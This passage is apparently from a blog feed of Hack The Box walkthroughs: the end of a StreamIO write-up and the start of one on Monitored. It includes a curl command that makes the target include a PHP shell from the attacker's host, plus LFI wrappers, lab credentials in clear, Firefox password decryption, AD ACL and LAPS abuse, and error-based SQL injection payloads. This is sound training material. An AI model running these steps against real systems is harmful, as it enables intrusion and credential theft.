&lt;p&gt;For this I needed the session cookie:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/d4aa5152d47adc567ad2f3a826f57f59.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;wfuzz -u https://streamio.htb/admin/\?FUZZ\= -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -H &quot;Cookie: PHPSESSID=kfr3bfkljibfpckvc8lt3sjs7s&quot; --hh 1678
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/adccfcf7b0e7e6ccd5a25330ed5aed90.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;As I quickly found out, there&apos;s another param here &lt;code&gt;debug&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/8a7c6074f5e8ac69ecb3287a34a2aa72.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/524a740f7b0d8d0d836e8c1ab4cee12a.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;:::note
I honestly got a bit stuck here and had no clue what to do, then checked a writeup and understood that I should use &lt;code&gt;php wrappers&lt;/code&gt;, just as explained in [[9. Common Web App Attacks#9.2.2 - PHP Wrappers]].
:::&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/a2df4ffd4b869e4d2cbc6baf96c06ae2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Now I got the following output, which I can then use &lt;code&gt;echo base64 -d&lt;/code&gt; on.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/1a652c54dc566a2bdfbfa70343a8a565.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/841caad878c6cc90ffeca1ea0d6940a1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We get the source code for the &lt;code&gt;master.php&lt;/code&gt; page:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;SNIP&amp;gt;

&amp;lt;?php
if(isset($_POST[&apos;include&apos;]))
{
if($_POST[&apos;include&apos;] !== &quot;index.php&quot; ) 
eval(file_get_contents($_POST[&apos;include&apos;]));
else
echo(&quot; ---- ERROR ---- &quot;);
}
?&amp;gt;%
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We notice the &lt;code&gt;include&lt;/code&gt; param on the POST variable.&lt;/p&gt;
&lt;h3&gt;Remote File Inclusion&lt;/h3&gt;
&lt;p&gt;Since the source code is talking about including the &lt;code&gt;index.php&lt;/code&gt; page we can try and include our own &apos;page&apos; instead.&lt;/p&gt;
&lt;p&gt;I&apos;ll create a simple &lt;code&gt;shell.php&lt;/code&gt; file:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/469a0889dedb7224016b512fe218275d.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;:::note
Since the server is running &lt;code&gt;eval&lt;/code&gt; I won&apos;t have to use &lt;code&gt;&amp;lt;php?&amp;gt;&lt;/code&gt; wrappers.
:::&lt;/p&gt;
&lt;p&gt;We can then run the following in order to include our file, run it as a &lt;code&gt;POST&lt;/code&gt; request, and finally get RCE.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl --insecure -b &quot;PHPSESSID=kfr3bfkljibfpckvc8lt3sjs7s&quot; -X POST --data &quot;include=http://10.10.16.2/shell.php&quot; https://streamio.htb/admin/index.php\?debug\=master.php
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Foothold&lt;/h1&gt;
&lt;h2&gt;Enumeration&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/a6ef0d89f95e0a38945930f01e2c3bd5.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;After finally getting access I tried to check my privs:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/c4457a30b8f0103d03d13590387efd8f.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Nothing notable unfortunately, they&apos;re not making it easy for us...&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/61cdf1047042d45f172ae07343f65114.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/893c1ca0efd4989180526f8af807a8a9.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Sucks, we can&apos;t view any of the directories...&lt;/p&gt;
&lt;p&gt;I went back into the &lt;code&gt;C:\inetpub&lt;/code&gt; directory and started enumeration from there again&lt;/p&gt;
&lt;p&gt;Here I found a few thing:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/b0feecdf30ddc1c8d38810b3e450cdeb.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/2e3263ea3b2b91497a48431b1746c0a8.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Which resulted in the following:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/dfd8f063f133042fcdc79bdc58987217.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;:::todo&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Enumerate and find the MSSQL db credentials inside the &lt;code&gt;C:\inetpub&lt;/code&gt; directory
:::&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Creds&lt;/h3&gt;
&lt;p&gt;Since there were way too many files in the web root I used the following command to recursively check through the files:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;dir -recurse *.php | select-string -pattern &quot;database&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/7f506e1485d84c693d942aa0dee65c10.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We get two new user id&apos;s, &lt;code&gt;db_user&lt;/code&gt; and &lt;code&gt;db_admin&lt;/code&gt;. Naturally I&apos;ll want to try the admin first.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;db_admin
B1@hx31234567890

db_user
B1@hB1@hB1@h
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;MSSQL&lt;/h2&gt;
&lt;p&gt;I then tried to use &lt;code&gt;sqlcmd&lt;/code&gt; interactively but had no luck:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/ae8a790211d789493fbcdef0cd6ba371.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Instead I could issue commands using the &lt;code&gt;-Q&lt;/code&gt; flag:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/1cae2b372a7decc961d44c91bfaee733.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Afterwards I tried to get the users but got the same ones as previously, so I had to modify my query slightly.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/b7618e363fbc56c87224061c0a8ba632.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Instead I gave the &lt;code&gt;-d&lt;/code&gt; flag with the correct database.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/1574400fc92ab340e3dbf492bd6375d4.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Nice! Let&apos;s try and crack em.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/9f535202d42c304ea27c7b472e709450.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We got only 1 new one, the one from &lt;em&gt;nikk37&lt;/em&gt;, which is coincidentally one of the users on this target.&lt;/p&gt;
&lt;h2&gt;Lateral Movement&lt;/h2&gt;
&lt;p&gt;I can now go ahead and sign in to &lt;code&gt;winrm&lt;/code&gt; using the newly found creds.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nikk37
get_dem_girls2@yahoo.com
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/9cad42140a05bad7ff05eef0c285be0b.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;user.txt&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/6caa2927e832fd5e9894cb3fd363625b.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;winPEAS&lt;/h3&gt;
&lt;p&gt;I then uploaded &lt;code&gt;winPEASx64.exe&lt;/code&gt; and let it run, where I found the following notable stuff:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/6e9ca8c910dd47a5724d22b082e1bfc2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Inside this directory I found even more stuff:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/32c872e170f66ec18ea883a2c132ccfa.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I noticed a file called &lt;code&gt;logins.json&lt;/code&gt; and checked it out.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{&quot;nextId&quot;:5,&quot;logins&quot;:[{&quot;id&quot;:1,&quot;hostname&quot;:&quot;https://slack.streamio.htb&quot;,&quot;httpRealm&quot;:null,&quot;formSubmitURL&quot;:&quot;&quot;,&quot;usernameField&quot;:&quot;&quot;,&quot;passwordField&quot;:&quot;&quot;,&quot;encryptedUsername&quot;:&quot;MDIEEPgAAAAAAAAAAAAAAAAAAAEwFAYIKoZIhvcNAwcECG2cZGM1+s+hBAiQvduUzZPkCw==&quot;,&quot;encryptedPassword&quot;:&quot;MEIEEPgAAAAAAAAAAAAAAAAAAAEwFAYIKoZIhvcNAwcECKA5q3v2TxvuBBjtXIyW2UjOBvrg700JOU1yfrb0EnMRelw=&quot;,&quot;guid&quot;:&quot;{9867a888-c468-4173-b2f4-329a1ec7fa60}&quot;,&quot;encType&quot;:1,&quot;timeCreated&quot;:1645526456872,&quot;timeLastUsed&quot;:1645526456872,&quot;timePasswordChanged&quot;:1645526456872,&quot;timesUsed&quot;:1},{&quot;id&quot;:2,&quot;hostname&quot;:&quot;https://slack.streamio.htb&quot;,&quot;httpRealm&quot;:null,&quot;formSubmitURL&quot;:&quot;&quot;,&quot;usernameField&quot;:&quot;&quot;,&quot;passwordField&quot;:&quot;&quot;,&quot;encryptedUsername&quot;:&quot;MDIEEPgAAAAAAAAAAAAAAAAAAAEwFAYIKoZIhvcNAwcECDMUru7zbEb0BAiinvqXr8Trkg==&quot;,&quot;encryptedPassword&quot;:&quot;MDoEEPgAAAAAAAAAAAAAAAAAAAEwFAYIKoZIhvcNAwcECOXW0KzZftfWBBARYsMPvSrUwx8+QfJdxzT+&quot;,&quot;guid&quot;:&quot;{739bd2a5-5fec-4e08-97d2-3c619bf02be2}&quot;,&quot;encType&quot;:1,&quot;timeCreated&quot;:1645526470377,&quot;timeLastUsed&quot;:1645526470377,&quot;timePasswordChanged&quot;:1645526470377,&quot;timesUsed&quot;:1},{&quot;id&quot;:3,&quot;hostname&quot;:&quot;https://slack.streamio.htb&quot;,&quot;httpRealm&quot;:null,&quot;formSubmitURL&quot;:&quot;&quot;,&quot;usernameField&quot;:&quot;&quot;,&quot;passwordField&quot;:&quot;&quot;,&quot;encryptedUsername&quot;:&quot;MDoEEPgAAAAAAAAAAAAAAAAAAAEwFAYIKoZIhvcNAwcECPtpFUOBoOFABBDVCjdAdstUxzB6i9DCqvOw&quot;,&quot;encryptedPassword&quot;:&quot;MDoEEPgAAAAAAAAAAAAAAAAAAAEwFAYIKoZIhvcNAwcECCocciyfDsthBBDm3YSuhBsW3roo3l3zOUuF&quot;,&quot;guid&quot;:&quot;{a98a87bc-86aa-489c-9227-d6579ab5148b}&quot;,&quot;encType&quot;:1,&quot;timeCreated&quot;:1645526484137,&quot;timeLastUsed&quot;:1645526484137,&quot;timePasswordChanged&quot;:1645526484137,&quot;timesUsed&quot;:1},{&quot;id&quot;:4,&quot;hostname&quot;:&quot;https://slack.streamio.htb&quot;,&quot;httpRealm&quot;:null,&quot;formSubmitURL&quot;:&quot;&quot;,&quot;usernameField&quot;:&quot;&quot;,&quot;passwordField&quot;:&quot;&quot;,&quot;encryptedUsername&quot;:&quot;MDIEEPgAAAAAAAAAAAAAAAAAAAEwFAYIKoZIhvcNAwcECB1j+gQdXzIuBAgO0o/N3J2MrQ==&quot;,&quot;encryptedPassword&quot;:&quot;MDoEEPgAAAAAAAAAAAAAAAAAAAEwFAYIKoZIhvcNAwcECNt9zddW+/h7BBCBgoQVGaDQjF2IpeQEl/Td&quot;,&quot;guid&quot;:&quot;{2be21548-7c50-42f0-8ef6-b33b1e77f150}&quot;,&quot;encType&quot;:1,&quot;timeCreated&quot;:1645526511842,&quot;timeLastUsed&quot;:1645526511842,&quot;timePasswordChanged&quot;:1645526511842,&quot;timesUsed&quot;:1}],&quot;potentiallyVulnerablePasswords&quot;:[],&quot;dismissedBreachAlertsByLoginGUID&quot;:{},&quot;version&quot;:3}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It seemed to hold encrypted usernames and passwords, however I had no clue how to decypher them.&lt;/p&gt;
&lt;h2&gt;Mozilla Password cracking&lt;/h2&gt;
&lt;p&gt;I found &lt;a href=&quot;https://github.com/lclevy/firepwd&quot;&gt;this tool&lt;/a&gt; that would help me crack the passwords:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/3b55e6fb32be32d9d7aa5a5d786c1fe2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Then I had to install the pip packages and went ahead and ran it:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/9c4d853b8051cacf4c134229dd5dd559.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We found a new set of creds!&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;JDgodd
password@12
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;However I also notice the password for the &lt;em&gt;admin&lt;/em&gt; user is some sort of anagram for &lt;em&gt;JDgodd&lt;/em&gt;, let&apos;s add all these passwords to a list and spray them.&lt;/p&gt;
&lt;h2&gt;More Password Spraying&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/a27e9314383e06974a3fee1693e69ff5.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Indeed the password for &lt;em&gt;admin&lt;/em&gt; is actually for the &lt;em&gt;JDgodd&lt;/em&gt; user!&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/1da1cd8b54f8f0378448deea8e7f480f.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;However we cannot login via &lt;code&gt;winrm&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;Bloodhound&lt;/h2&gt;
&lt;p&gt;To fully grasp the AD network I will upload &lt;code&gt;SharpHound.ps1&lt;/code&gt; and execute it, then check out the results in &lt;code&gt;BloodHound&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/e294febfefb3421a7dd64b4e2b74fda4.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/22ece0c82bbcdb0a16498230c2e819c5.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/b9641f5096b0d2946aa505dac844b24b.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/bd7af2456932eb246835c59c4e652e74.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;After ingesting the data we notice that &lt;em&gt;JDGodd&lt;/em&gt; is part of the &lt;strong&gt;CORE STAFF&lt;/strong&gt; group. This group has the &lt;strong&gt;ReadLAPSPassword&lt;/strong&gt; permission enabled:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/0261a72a475a463395a8f0e48ff39a11.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/305130cca1f14774936b0db3bfb6f19b.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;PowerView&lt;/h2&gt;
&lt;p&gt;Let&apos;s upload &lt;code&gt;PowerView.ps1&lt;/code&gt; and import it and get to work.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# Set up credentials
$pass = ConvertTo-SecureString &apos;JDg0dd1s@d0p3cr3@t0r&apos; -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential(&apos;streamio.htb\JDgodd&apos;, $pass)

# Then add them to the group
Add-DomainObjectAcl -Credential $cred -TargetIdentity &quot;Core Staff&quot; -PrincipalIdentity &quot;streamio\JDgodd&quot;
Add-DomainGroupMember -Credential $cred -Identity &quot;Core Staff&quot; -Members &quot;StreamIO\JDgodd&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/6634ed3d0f19c9fb4307b83875b91777.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Now we can go ahead and use &lt;code&gt;netexec&lt;/code&gt; with the &lt;code&gt;--laps&lt;/code&gt; option in order to read the &lt;strong&gt;LAPSPassword&lt;/strong&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/80d160dc094b658f99c2cb29dffe8c05.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We got it! Let&apos;s use &lt;code&gt;psexec&lt;/code&gt; to log in as admin.&lt;/p&gt;
&lt;h1&gt;Privilege Escalation&lt;/h1&gt;
&lt;pre&gt;&lt;code&gt;administrator
13IFj++6(7[J]&amp;amp;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/98d36b27090fcb655c2cf2e7ff112bc9.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;EZ PZ.&lt;/p&gt;
&lt;h2&gt;root.txt&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/72d0bf37ba431bc7bfe0d6c1b19d8794.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/5ff882755579d67609bf985d2795401a.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
</content:encoded><author>Maxim Andrei Koltypin</author></item><item><title>HTB-Monitored</title><link>https://maxk9999.vercel.app/posts/monitored</link><guid isPermaLink="true">https://maxk9999.vercel.app/posts/monitored</guid><pubDate>Sat, 19 Apr 2025 00:00:00 GMT</pubDate><content:encoded>&lt;pre&gt;&lt;code&gt;Scope:
10.10.11.248
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Recon&lt;/h1&gt;
&lt;h2&gt;Nmap&lt;/h2&gt;
&lt;h3&gt;TCP&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;sudo nmap -sC -sV -p- monitored -sT -T5 --min-rate=5000 -Pn -vvvv

PORT     STATE SERVICE    REASON  VERSION
22/tcp   open  ssh        syn-ack OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
80/tcp   open  http       syn-ack Apache httpd 2.4.56
|_http-title: Did not follow redirect to https://nagios.monitored.htb/
|_http-server-header: Apache/2.4.56 (Debian)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
389/tcp  open  ldap       syn-ack OpenLDAP 2.2.X - 2.3.X
443/tcp  open  ssl/http   syn-ack Apache httpd 2.4.56
|_http-server-header: Apache/2.4.56 (Debian)
|_http-title: Nagios XI
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
| ssl-cert: Subject: commonName=nagios.monitored.htb/organizationName=Monitored/stateOrProvinceName=Dorset/countryName=UK/emailAddress=support@monitored.htb/localityName=Bournemouth
| Issuer: commonName=nagios.monitored.htb/organizationName=Monitored/stateOrProvinceName=Dorset/countryName=UK/emailAddress=support@monitored.htb/localityName=Bournemouth
5667/tcp open  tcpwrapped syn-ack
Service Info: Hosts: nagios.monitored.htb, 127.0.0.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;UDP&lt;/h3&gt;
&lt;p&gt;I then went on to scan UDP ports as well.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo nmap -sC -sV -p161 monitored -sU -T5 --min-rate=5000 -Pn -vvvv

PORT    STATE SERVICE REASON              VERSION
161/udp open  snmp    udp-response ttl 63 SNMPv1 server; net-snmp SNMPv3 server (public)
| snmp-sysdescr: Linux monitored 5.10.0-28-amd64 #1 SMP Debian 5.10.209-2 (2024-01-31) x86_64
|_  System uptime: 5m33.13s (33313 timeticks)
| snmp-info: 
|   enterprise: net-snmp
|   engineIDFormat: unknown
|   engineIDData: 6f3fa7421af94c6500000000
|   snmpEngineBoots: 36
|_  snmpEngineTime: 5m33s
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Some interesting params popped up as well:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/0435dd26f152c0cddad1d97b03831742.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/3eb8e44d646a0df369e7f145e4bda93b.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;There appears to be a set of creds written down here?&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;svc
XjH7VCehowpR1xZB
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/92af48b0e9a5a0532e3d849d262fcee4.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;22/TCP - SSH&lt;/h2&gt;
&lt;p&gt;Tried to go for a quick win, alas:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/33b3a6737763e1609b9fe8554d5cefb6.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;443/TCP - HTTPS&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/45e8ced5da6a824515c508c01b4c8984.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/30234ffad45b74103a19bc8095a4b815.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;When clicking &lt;strong&gt;Access&lt;/strong&gt; we get the following page:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/d817d14bd87edbfb73171aac49b75d20.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I tried logging in with the presumed creds but that didn&apos;t work:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/3ea0c5f1923290878748cd83888461c2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;However if we enter a different password we get a completely different error message:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/0ed5215eda45807a8168f33d311b0262.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Interesting, this means that the creds are HIGHLY LIKELY correct and the account access has been restricted.&lt;/p&gt;
&lt;p&gt;For now we can&apos;t do anything further, let&apos;s enumerate the endpoints.&lt;/p&gt;
&lt;h2&gt;Feroxbuster&lt;/h2&gt;
&lt;p&gt;After a LONG while I finally got some luck:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/581a969eb37a96e7c0891d5826be55af.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;However when going to the page we get the following:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/f9457e7b80082f6a90528106bfad3c98.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This might call for some &lt;code&gt;burpsuite&lt;/code&gt; action.&lt;/p&gt;
&lt;h2&gt;BurpSuite&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/49f1564e26e4bbbba065e794d10c17ad.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Let&apos;s change it to &lt;code&gt;POST&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/91e157ef4d238e76a7916e013216cd86.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I then added the following 2 lines in order to create the &lt;code&gt;POST&lt;/code&gt; request:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Content-Type: application/x-www-form-urlencoded

username=svc&amp;amp;password=XjH7VCehowpR1xZB
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/0f486c633bf3fd8e1aea296786760262.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;:::warning
The highlighted line is absolutely paramount for success, without it the request will fail!
:::&lt;/p&gt;
&lt;p&gt;This gives us the following response:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/2c861d4819f9e8d28607d30f6ea073bf.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Having received the &lt;code&gt;auth_token&lt;/code&gt; we can use this &lt;code&gt;curl&lt;/code&gt; request to get access to the backend:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/d38eafd5056c0fe201f9d845d34a3157.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/d4d5a6994dbe1c4571fb693e6687aca5.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Strange, this might mean that either the &lt;code&gt;auth_token&lt;/code&gt; =/= the &lt;code&gt;api-key&lt;/code&gt;, or that it is indeed invalid.&lt;/p&gt;
&lt;p&gt;I looked up the endpoint to look for more help:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/f7945b412a9f83a1491f97f42334a765.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/9e526e6fed3c56c569e54d1c6c775ecc.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl -k -L &apos;https://nagios.monitored.htb/nagiosxi/includes/components/nagioscore/ui/trends.php?createimage&amp;amp;host=localhost&amp;amp;token=72695c532f2fff8b9ddcd6aaaffe2f27b6224650&apos; &amp;gt; image.png
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/e361bd81d2392dc4df037ca1615a2bee.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/69b9314acb1aa7ab8c31cc77ccbd0171.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;It seemed to work! Looks like we found the correct param being &lt;code&gt;token&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;I then had to get a new token because the last one expired:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/d1c126ba67df8662b0786d178f220d66.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I used the token to login:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/2e3c14f43db550859737af526bd0537a.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This rerouted me to the following page:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/bec5e085c2f5539ca358320cf4df7529.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Couple thins to note down are the version running:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Nagios Xi 5.11.0
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/c0ce4519281b545b177fcb90096d6e47.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;There seems to be a SQLi vulnerability for this version, let&apos;s first check out what else we can find:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/903da2078ba6462fafe79a6e95df666a.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We were able to find the API key.&lt;/p&gt;
&lt;h2&gt;SQLi&lt;/h2&gt;
&lt;p&gt;Let&apos;s move on to the SQLi &lt;a href=&quot;https://rootsecdev.medium.com/notes-from-the-field-exploiting-nagios-xi-sql-injection-cve-2023-40931-9d5dd6563f8c&quot;&gt;POC&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/0d9558a7354a563a0e8048ed01aef373.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Trying this out we see the following response:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/f649a1e973b1463c10a5bf086b38529f.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;:::success
Error = good!
:::&lt;/p&gt;
&lt;p&gt;:::note
Let&apos;s modify our SQLi, since the rest of the POC writeup goes on using SQLmap I will be diverting my course, since I cannot always use SQLmap in the wild (such as OSCP exam).
:::&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/912afb0318cc79eedea13313cceb03af.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I then started checking for the version of SQL running:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;id=1 AND EXTRACTVALUE(1,(SELECT VERSION()))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/6e380baf6a9d3ea5c8f9ffa42ed59763.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
